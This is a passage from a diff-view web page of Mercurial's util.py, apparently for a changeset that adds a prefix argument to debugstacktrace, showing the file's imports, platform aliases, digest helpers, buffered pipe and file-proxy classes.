##// END OF EJS Templates
util: add an optional `prefix` argument to debugstacktrace...
marmoute -
r44193:02ededbe default
parent child Browse files
Show More
@@ -1,3591 +1,3592 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 procutil,
56 procutil,
57 stringutil,
57 stringutil,
58 )
58 )
59
59
60 base85 = policy.importmod('base85')
60 base85 = policy.importmod('base85')
61 osutil = policy.importmod('osutil')
61 osutil = policy.importmod('osutil')
62
62
63 b85decode = base85.b85decode
63 b85decode = base85.b85decode
64 b85encode = base85.b85encode
64 b85encode = base85.b85encode
65
65
66 cookielib = pycompat.cookielib
66 cookielib = pycompat.cookielib
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 safehasattr = pycompat.safehasattr
69 safehasattr = pycompat.safehasattr
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 bytesio = pycompat.bytesio
71 bytesio = pycompat.bytesio
72 # TODO deprecate stringio name, as it is a lie on Python 3.
72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 stringio = bytesio
73 stringio = bytesio
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 httpserver = urllibcompat.httpserver
76 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
77 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
78 urlreq = urllibcompat.urlreq
79
79
80 # workaround for win32mbcs
80 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
81 _filenamebytestr = pycompat.bytestr
82
82
83 if pycompat.iswindows:
83 if pycompat.iswindows:
84 from . import windows as platform
84 from . import windows as platform
85 else:
85 else:
86 from . import posix as platform
86 from . import posix as platform
87
87
88 _ = i18n._
88 _ = i18n._
89
89
90 bindunixsocket = platform.bindunixsocket
90 bindunixsocket = platform.bindunixsocket
91 cachestat = platform.cachestat
91 cachestat = platform.cachestat
92 checkexec = platform.checkexec
92 checkexec = platform.checkexec
93 checklink = platform.checklink
93 checklink = platform.checklink
94 copymode = platform.copymode
94 copymode = platform.copymode
95 expandglobs = platform.expandglobs
95 expandglobs = platform.expandglobs
96 getfsmountpoint = platform.getfsmountpoint
96 getfsmountpoint = platform.getfsmountpoint
97 getfstype = platform.getfstype
97 getfstype = platform.getfstype
98 groupmembers = platform.groupmembers
98 groupmembers = platform.groupmembers
99 groupname = platform.groupname
99 groupname = platform.groupname
100 isexec = platform.isexec
100 isexec = platform.isexec
101 isowner = platform.isowner
101 isowner = platform.isowner
102 listdir = osutil.listdir
102 listdir = osutil.listdir
103 localpath = platform.localpath
103 localpath = platform.localpath
104 lookupreg = platform.lookupreg
104 lookupreg = platform.lookupreg
105 makedir = platform.makedir
105 makedir = platform.makedir
106 nlinks = platform.nlinks
106 nlinks = platform.nlinks
107 normpath = platform.normpath
107 normpath = platform.normpath
108 normcase = platform.normcase
108 normcase = platform.normcase
109 normcasespec = platform.normcasespec
109 normcasespec = platform.normcasespec
110 normcasefallback = platform.normcasefallback
110 normcasefallback = platform.normcasefallback
111 openhardlinks = platform.openhardlinks
111 openhardlinks = platform.openhardlinks
112 oslink = platform.oslink
112 oslink = platform.oslink
113 parsepatchoutput = platform.parsepatchoutput
113 parsepatchoutput = platform.parsepatchoutput
114 pconvert = platform.pconvert
114 pconvert = platform.pconvert
115 poll = platform.poll
115 poll = platform.poll
116 posixfile = platform.posixfile
116 posixfile = platform.posixfile
117 readlink = platform.readlink
117 readlink = platform.readlink
118 rename = platform.rename
118 rename = platform.rename
119 removedirs = platform.removedirs
119 removedirs = platform.removedirs
120 samedevice = platform.samedevice
120 samedevice = platform.samedevice
121 samefile = platform.samefile
121 samefile = platform.samefile
122 samestat = platform.samestat
122 samestat = platform.samestat
123 setflags = platform.setflags
123 setflags = platform.setflags
124 split = platform.split
124 split = platform.split
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statisexec = platform.statisexec
126 statisexec = platform.statisexec
127 statislink = platform.statislink
127 statislink = platform.statislink
128 umask = platform.umask
128 umask = platform.umask
129 unlink = platform.unlink
129 unlink = platform.unlink
130 username = platform.username
130 username = platform.username
131
131
132 # small compat layer
132 # small compat layer
133 compengines = compression.compengines
133 compengines = compression.compengines
134 SERVERROLE = compression.SERVERROLE
134 SERVERROLE = compression.SERVERROLE
135 CLIENTROLE = compression.CLIENTROLE
135 CLIENTROLE = compression.CLIENTROLE
136
136
137 try:
137 try:
138 recvfds = osutil.recvfds
138 recvfds = osutil.recvfds
139 except AttributeError:
139 except AttributeError:
140 pass
140 pass
141
141
142 # Python compatibility
142 # Python compatibility
143
143
144 _notset = object()
144 _notset = object()
145
145
146
146
147 def bitsfrom(container):
147 def bitsfrom(container):
148 bits = 0
148 bits = 0
149 for bit in container:
149 for bit in container:
150 bits |= bit
150 bits |= bit
151 return bits
151 return bits
152
152
153
153
154 # python 2.6 still have deprecation warning enabled by default. We do not want
154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # to display anything to standard user so detect if we are running test and
155 # to display anything to standard user so detect if we are running test and
156 # only use python deprecation warning in this case.
156 # only use python deprecation warning in this case.
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 if _dowarn:
158 if _dowarn:
159 # explicitly unfilter our warning for python 2.7
159 # explicitly unfilter our warning for python 2.7
160 #
160 #
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 if _dowarn and pycompat.ispy3:
168 if _dowarn and pycompat.ispy3:
169 # silence warning emitted by passing user string to re.sub()
169 # silence warning emitted by passing user string to re.sub()
170 warnings.filterwarnings(
170 warnings.filterwarnings(
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 )
172 )
173 warnings.filterwarnings(
173 warnings.filterwarnings(
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 )
175 )
176 # TODO: reinvent imp.is_frozen()
176 # TODO: reinvent imp.is_frozen()
177 warnings.filterwarnings(
177 warnings.filterwarnings(
178 'ignore',
178 'ignore',
179 'the imp module is deprecated',
179 'the imp module is deprecated',
180 DeprecationWarning,
180 DeprecationWarning,
181 'mercurial',
181 'mercurial',
182 )
182 )
183
183
184
184
185 def nouideprecwarn(msg, version, stacklevel=1):
185 def nouideprecwarn(msg, version, stacklevel=1):
186 """Issue an python native deprecation warning
186 """Issue an python native deprecation warning
187
187
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 """
189 """
190 if _dowarn:
190 if _dowarn:
191 msg += (
191 msg += (
192 b"\n(compatibility will be dropped after Mercurial-%s,"
192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b" update your code.)"
193 b" update your code.)"
194 ) % version
194 ) % version
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196
196
197
197
198 DIGESTS = {
198 DIGESTS = {
199 b'md5': hashlib.md5,
199 b'md5': hashlib.md5,
200 b'sha1': hashlib.sha1,
200 b'sha1': hashlib.sha1,
201 b'sha512': hashlib.sha512,
201 b'sha512': hashlib.sha512,
202 }
202 }
203 # List of digest types from strongest to weakest
203 # List of digest types from strongest to weakest
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205
205
206 for k in DIGESTS_BY_STRENGTH:
206 for k in DIGESTS_BY_STRENGTH:
207 assert k in DIGESTS
207 assert k in DIGESTS
208
208
209
209
210 class digester(object):
210 class digester(object):
211 """helper to compute digests.
211 """helper to compute digests.
212
212
213 This helper can be used to compute one or more digests given their name.
213 This helper can be used to compute one or more digests given their name.
214
214
215 >>> d = digester([b'md5', b'sha1'])
215 >>> d = digester([b'md5', b'sha1'])
216 >>> d.update(b'foo')
216 >>> d.update(b'foo')
217 >>> [k for k in sorted(d)]
217 >>> [k for k in sorted(d)]
218 ['md5', 'sha1']
218 ['md5', 'sha1']
219 >>> d[b'md5']
219 >>> d[b'md5']
220 'acbd18db4cc2f85cedef654fccc4a4d8'
220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 >>> d[b'sha1']
221 >>> d[b'sha1']
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 >>> digester.preferred([b'md5', b'sha1'])
223 >>> digester.preferred([b'md5', b'sha1'])
224 'sha1'
224 'sha1'
225 """
225 """
226
226
227 def __init__(self, digests, s=b''):
227 def __init__(self, digests, s=b''):
228 self._hashes = {}
228 self._hashes = {}
229 for k in digests:
229 for k in digests:
230 if k not in DIGESTS:
230 if k not in DIGESTS:
231 raise error.Abort(_(b'unknown digest type: %s') % k)
231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 self._hashes[k] = DIGESTS[k]()
232 self._hashes[k] = DIGESTS[k]()
233 if s:
233 if s:
234 self.update(s)
234 self.update(s)
235
235
236 def update(self, data):
236 def update(self, data):
237 for h in self._hashes.values():
237 for h in self._hashes.values():
238 h.update(data)
238 h.update(data)
239
239
240 def __getitem__(self, key):
240 def __getitem__(self, key):
241 if key not in DIGESTS:
241 if key not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 return nodemod.hex(self._hashes[key].digest())
243 return nodemod.hex(self._hashes[key].digest())
244
244
245 def __iter__(self):
245 def __iter__(self):
246 return iter(self._hashes)
246 return iter(self._hashes)
247
247
248 @staticmethod
248 @staticmethod
249 def preferred(supported):
249 def preferred(supported):
250 """returns the strongest digest type in both supported and DIGESTS."""
250 """returns the strongest digest type in both supported and DIGESTS."""
251
251
252 for k in DIGESTS_BY_STRENGTH:
252 for k in DIGESTS_BY_STRENGTH:
253 if k in supported:
253 if k in supported:
254 return k
254 return k
255 return None
255 return None
256
256
257
257
258 class digestchecker(object):
258 class digestchecker(object):
259 """file handle wrapper that additionally checks content against a given
259 """file handle wrapper that additionally checks content against a given
260 size and digests.
260 size and digests.
261
261
262 d = digestchecker(fh, size, {'md5': '...'})
262 d = digestchecker(fh, size, {'md5': '...'})
263
263
264 When multiple digests are given, all of them are validated.
264 When multiple digests are given, all of them are validated.
265 """
265 """
266
266
267 def __init__(self, fh, size, digests):
267 def __init__(self, fh, size, digests):
268 self._fh = fh
268 self._fh = fh
269 self._size = size
269 self._size = size
270 self._got = 0
270 self._got = 0
271 self._digests = dict(digests)
271 self._digests = dict(digests)
272 self._digester = digester(self._digests.keys())
272 self._digester = digester(self._digests.keys())
273
273
274 def read(self, length=-1):
274 def read(self, length=-1):
275 content = self._fh.read(length)
275 content = self._fh.read(length)
276 self._digester.update(content)
276 self._digester.update(content)
277 self._got += len(content)
277 self._got += len(content)
278 return content
278 return content
279
279
280 def validate(self):
280 def validate(self):
281 if self._size != self._got:
281 if self._size != self._got:
282 raise error.Abort(
282 raise error.Abort(
283 _(b'size mismatch: expected %d, got %d')
283 _(b'size mismatch: expected %d, got %d')
284 % (self._size, self._got)
284 % (self._size, self._got)
285 )
285 )
286 for k, v in self._digests.items():
286 for k, v in self._digests.items():
287 if v != self._digester[k]:
287 if v != self._digester[k]:
288 # i18n: first parameter is a digest name
288 # i18n: first parameter is a digest name
289 raise error.Abort(
289 raise error.Abort(
290 _(b'%s mismatch: expected %s, got %s')
290 _(b'%s mismatch: expected %s, got %s')
291 % (k, v, self._digester[k])
291 % (k, v, self._digester[k])
292 )
292 )
293
293
294
294
295 try:
295 try:
296 buffer = buffer
296 buffer = buffer
297 except NameError:
297 except NameError:
298
298
299 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
300 if length is not None:
301 return memoryview(sliceable)[offset : offset + length]
301 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
303
303
304
304
305 _chunksize = 4096
305 _chunksize = 4096
306
306
307
307
308 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
309 """a manually buffered input pipe
309 """a manually buffered input pipe
310
310
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
314
314
315 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
318
318
319 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
320 module from the python stdlib.
321 """
321 """
322
322
323 def __new__(cls, fh):
323 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
325 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
326 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
327 cls = observedbufferedinputpipe
328
328
329 return super(bufferedinputpipe, cls).__new__(cls)
329 return super(bufferedinputpipe, cls).__new__(cls)
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def unbufferedread(self, size):
360 def unbufferedread(self, size):
361 if not self._eof and self._lenbuf == 0:
361 if not self._eof and self._lenbuf == 0:
362 self._fillbuffer(max(size, _chunksize))
362 self._fillbuffer(max(size, _chunksize))
363 return self._frombuffer(min(self._lenbuf, size))
363 return self._frombuffer(min(self._lenbuf, size))
364
364
365 def readline(self, *args, **kwargs):
365 def readline(self, *args, **kwargs):
366 if len(self._buffer) > 1:
366 if len(self._buffer) > 1:
367 # this should not happen because both read and readline end with a
367 # this should not happen because both read and readline end with a
368 # _frombuffer call that collapse it.
368 # _frombuffer call that collapse it.
369 self._buffer = [b''.join(self._buffer)]
369 self._buffer = [b''.join(self._buffer)]
370 self._lenbuf = len(self._buffer[0])
370 self._lenbuf = len(self._buffer[0])
371 lfi = -1
371 lfi = -1
372 if self._buffer:
372 if self._buffer:
373 lfi = self._buffer[-1].find(b'\n')
373 lfi = self._buffer[-1].find(b'\n')
374 while (not self._eof) and lfi < 0:
374 while (not self._eof) and lfi < 0:
375 self._fillbuffer()
375 self._fillbuffer()
376 if self._buffer:
376 if self._buffer:
377 lfi = self._buffer[-1].find(b'\n')
377 lfi = self._buffer[-1].find(b'\n')
378 size = lfi + 1
378 size = lfi + 1
379 if lfi < 0: # end of file
379 if lfi < 0: # end of file
380 size = self._lenbuf
380 size = self._lenbuf
381 elif len(self._buffer) > 1:
381 elif len(self._buffer) > 1:
382 # we need to take previous chunks into account
382 # we need to take previous chunks into account
383 size += self._lenbuf - len(self._buffer[-1])
383 size += self._lenbuf - len(self._buffer[-1])
384 return self._frombuffer(size)
384 return self._frombuffer(size)
385
385
386 def _frombuffer(self, size):
386 def _frombuffer(self, size):
387 """return at most 'size' data from the buffer
387 """return at most 'size' data from the buffer
388
388
389 The data are removed from the buffer."""
389 The data are removed from the buffer."""
390 if size == 0 or not self._buffer:
390 if size == 0 or not self._buffer:
391 return b''
391 return b''
392 buf = self._buffer[0]
392 buf = self._buffer[0]
393 if len(self._buffer) > 1:
393 if len(self._buffer) > 1:
394 buf = b''.join(self._buffer)
394 buf = b''.join(self._buffer)
395
395
396 data = buf[:size]
396 data = buf[:size]
397 buf = buf[len(data) :]
397 buf = buf[len(data) :]
398 if buf:
398 if buf:
399 self._buffer = [buf]
399 self._buffer = [buf]
400 self._lenbuf = len(buf)
400 self._lenbuf = len(buf)
401 else:
401 else:
402 self._buffer = []
402 self._buffer = []
403 self._lenbuf = 0
403 self._lenbuf = 0
404 return data
404 return data
405
405
406 def _fillbuffer(self, size=_chunksize):
406 def _fillbuffer(self, size=_chunksize):
407 """read data to the buffer"""
407 """read data to the buffer"""
408 data = os.read(self._input.fileno(), size)
408 data = os.read(self._input.fileno(), size)
409 if not data:
409 if not data:
410 self._eof = True
410 self._eof = True
411 else:
411 else:
412 self._lenbuf += len(data)
412 self._lenbuf += len(data)
413 self._buffer.append(data)
413 self._buffer.append(data)
414
414
415 return data
415 return data
416
416
417
417
418 def mmapread(fp):
418 def mmapread(fp):
419 try:
419 try:
420 fd = getattr(fp, 'fileno', lambda: fp)()
420 fd = getattr(fp, 'fileno', lambda: fp)()
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 except ValueError:
422 except ValueError:
423 # Empty files cannot be mmapped, but mmapread should still work. Check
423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 # if the file is empty, and if so, return an empty buffer.
424 # if the file is empty, and if so, return an empty buffer.
425 if os.fstat(fd).st_size == 0:
425 if os.fstat(fd).st_size == 0:
426 return b''
426 return b''
427 raise
427 raise
428
428
429
429
430 class fileobjectproxy(object):
430 class fileobjectproxy(object):
431 """A proxy around file objects that tells a watcher when events occur.
431 """A proxy around file objects that tells a watcher when events occur.
432
432
433 This type is intended to only be used for testing purposes. Think hard
433 This type is intended to only be used for testing purposes. Think hard
434 before using it in important code.
434 before using it in important code.
435 """
435 """
436
436
437 __slots__ = (
437 __slots__ = (
438 '_orig',
438 '_orig',
439 '_observer',
439 '_observer',
440 )
440 )
441
441
442 def __init__(self, fh, observer):
442 def __init__(self, fh, observer):
443 object.__setattr__(self, '_orig', fh)
443 object.__setattr__(self, '_orig', fh)
444 object.__setattr__(self, '_observer', observer)
444 object.__setattr__(self, '_observer', observer)
445
445
446 def __getattribute__(self, name):
446 def __getattribute__(self, name):
447 ours = {
447 ours = {
448 '_observer',
448 '_observer',
449 # IOBase
449 # IOBase
450 'close',
450 'close',
451 # closed if a property
451 # closed if a property
452 'fileno',
452 'fileno',
453 'flush',
453 'flush',
454 'isatty',
454 'isatty',
455 'readable',
455 'readable',
456 'readline',
456 'readline',
457 'readlines',
457 'readlines',
458 'seek',
458 'seek',
459 'seekable',
459 'seekable',
460 'tell',
460 'tell',
461 'truncate',
461 'truncate',
462 'writable',
462 'writable',
463 'writelines',
463 'writelines',
464 # RawIOBase
464 # RawIOBase
465 'read',
465 'read',
466 'readall',
466 'readall',
467 'readinto',
467 'readinto',
468 'write',
468 'write',
469 # BufferedIOBase
469 # BufferedIOBase
470 # raw is a property
470 # raw is a property
471 'detach',
471 'detach',
472 # read defined above
472 # read defined above
473 'read1',
473 'read1',
474 # readinto defined above
474 # readinto defined above
475 # write defined above
475 # write defined above
476 }
476 }
477
477
478 # We only observe some methods.
478 # We only observe some methods.
479 if name in ours:
479 if name in ours:
480 return object.__getattribute__(self, name)
480 return object.__getattribute__(self, name)
481
481
482 return getattr(object.__getattribute__(self, '_orig'), name)
482 return getattr(object.__getattribute__(self, '_orig'), name)
483
483
484 def __nonzero__(self):
484 def __nonzero__(self):
485 return bool(object.__getattribute__(self, '_orig'))
485 return bool(object.__getattribute__(self, '_orig'))
486
486
487 __bool__ = __nonzero__
487 __bool__ = __nonzero__
488
488
489 def __delattr__(self, name):
489 def __delattr__(self, name):
490 return delattr(object.__getattribute__(self, '_orig'), name)
490 return delattr(object.__getattribute__(self, '_orig'), name)
491
491
492 def __setattr__(self, name, value):
492 def __setattr__(self, name, value):
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494
494
495 def __iter__(self):
495 def __iter__(self):
496 return object.__getattribute__(self, '_orig').__iter__()
496 return object.__getattribute__(self, '_orig').__iter__()
497
497
498 def _observedcall(self, name, *args, **kwargs):
498 def _observedcall(self, name, *args, **kwargs):
499 # Call the original object.
499 # Call the original object.
500 orig = object.__getattribute__(self, '_orig')
500 orig = object.__getattribute__(self, '_orig')
501 res = getattr(orig, name)(*args, **kwargs)
501 res = getattr(orig, name)(*args, **kwargs)
502
502
503 # Call a method on the observer of the same name with arguments
503 # Call a method on the observer of the same name with arguments
504 # so it can react, log, etc.
504 # so it can react, log, etc.
505 observer = object.__getattribute__(self, '_observer')
505 observer = object.__getattribute__(self, '_observer')
506 fn = getattr(observer, name, None)
506 fn = getattr(observer, name, None)
507 if fn:
507 if fn:
508 fn(res, *args, **kwargs)
508 fn(res, *args, **kwargs)
509
509
510 return res
510 return res
511
511
512 def close(self, *args, **kwargs):
512 def close(self, *args, **kwargs):
513 return object.__getattribute__(self, '_observedcall')(
513 return object.__getattribute__(self, '_observedcall')(
514 'close', *args, **kwargs
514 'close', *args, **kwargs
515 )
515 )
516
516
517 def fileno(self, *args, **kwargs):
517 def fileno(self, *args, **kwargs):
518 return object.__getattribute__(self, '_observedcall')(
518 return object.__getattribute__(self, '_observedcall')(
519 'fileno', *args, **kwargs
519 'fileno', *args, **kwargs
520 )
520 )
521
521
522 def flush(self, *args, **kwargs):
522 def flush(self, *args, **kwargs):
523 return object.__getattribute__(self, '_observedcall')(
523 return object.__getattribute__(self, '_observedcall')(
524 'flush', *args, **kwargs
524 'flush', *args, **kwargs
525 )
525 )
526
526
527 def isatty(self, *args, **kwargs):
527 def isatty(self, *args, **kwargs):
528 return object.__getattribute__(self, '_observedcall')(
528 return object.__getattribute__(self, '_observedcall')(
529 'isatty', *args, **kwargs
529 'isatty', *args, **kwargs
530 )
530 )
531
531
532 def readable(self, *args, **kwargs):
532 def readable(self, *args, **kwargs):
533 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
534 'readable', *args, **kwargs
534 'readable', *args, **kwargs
535 )
535 )
536
536
537 def readline(self, *args, **kwargs):
537 def readline(self, *args, **kwargs):
538 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
539 'readline', *args, **kwargs
539 'readline', *args, **kwargs
540 )
540 )
541
541
542 def readlines(self, *args, **kwargs):
542 def readlines(self, *args, **kwargs):
543 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
544 'readlines', *args, **kwargs
544 'readlines', *args, **kwargs
545 )
545 )
546
546
547 def seek(self, *args, **kwargs):
547 def seek(self, *args, **kwargs):
548 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
549 'seek', *args, **kwargs
549 'seek', *args, **kwargs
550 )
550 )
551
551
552 def seekable(self, *args, **kwargs):
552 def seekable(self, *args, **kwargs):
553 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
554 'seekable', *args, **kwargs
554 'seekable', *args, **kwargs
555 )
555 )
556
556
557 def tell(self, *args, **kwargs):
557 def tell(self, *args, **kwargs):
558 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
559 'tell', *args, **kwargs
559 'tell', *args, **kwargs
560 )
560 )
561
561
562 def truncate(self, *args, **kwargs):
562 def truncate(self, *args, **kwargs):
563 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
564 'truncate', *args, **kwargs
564 'truncate', *args, **kwargs
565 )
565 )
566
566
567 def writable(self, *args, **kwargs):
567 def writable(self, *args, **kwargs):
568 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
569 'writable', *args, **kwargs
569 'writable', *args, **kwargs
570 )
570 )
571
571
572 def writelines(self, *args, **kwargs):
572 def writelines(self, *args, **kwargs):
573 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
574 'writelines', *args, **kwargs
574 'writelines', *args, **kwargs
575 )
575 )
576
576
577 def read(self, *args, **kwargs):
577 def read(self, *args, **kwargs):
578 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
579 'read', *args, **kwargs
579 'read', *args, **kwargs
580 )
580 )
581
581
582 def readall(self, *args, **kwargs):
582 def readall(self, *args, **kwargs):
583 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
584 'readall', *args, **kwargs
584 'readall', *args, **kwargs
585 )
585 )
586
586
587 def readinto(self, *args, **kwargs):
587 def readinto(self, *args, **kwargs):
588 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
589 'readinto', *args, **kwargs
589 'readinto', *args, **kwargs
590 )
590 )
591
591
592 def write(self, *args, **kwargs):
592 def write(self, *args, **kwargs):
593 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
594 'write', *args, **kwargs
594 'write', *args, **kwargs
595 )
595 )
596
596
597 def detach(self, *args, **kwargs):
597 def detach(self, *args, **kwargs):
598 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
599 'detach', *args, **kwargs
599 'detach', *args, **kwargs
600 )
600 )
601
601
602 def read1(self, *args, **kwargs):
602 def read1(self, *args, **kwargs):
603 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
604 'read1', *args, **kwargs
604 'read1', *args, **kwargs
605 )
605 )
606
606
607
607
608 class observedbufferedinputpipe(bufferedinputpipe):
608 class observedbufferedinputpipe(bufferedinputpipe):
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610
610
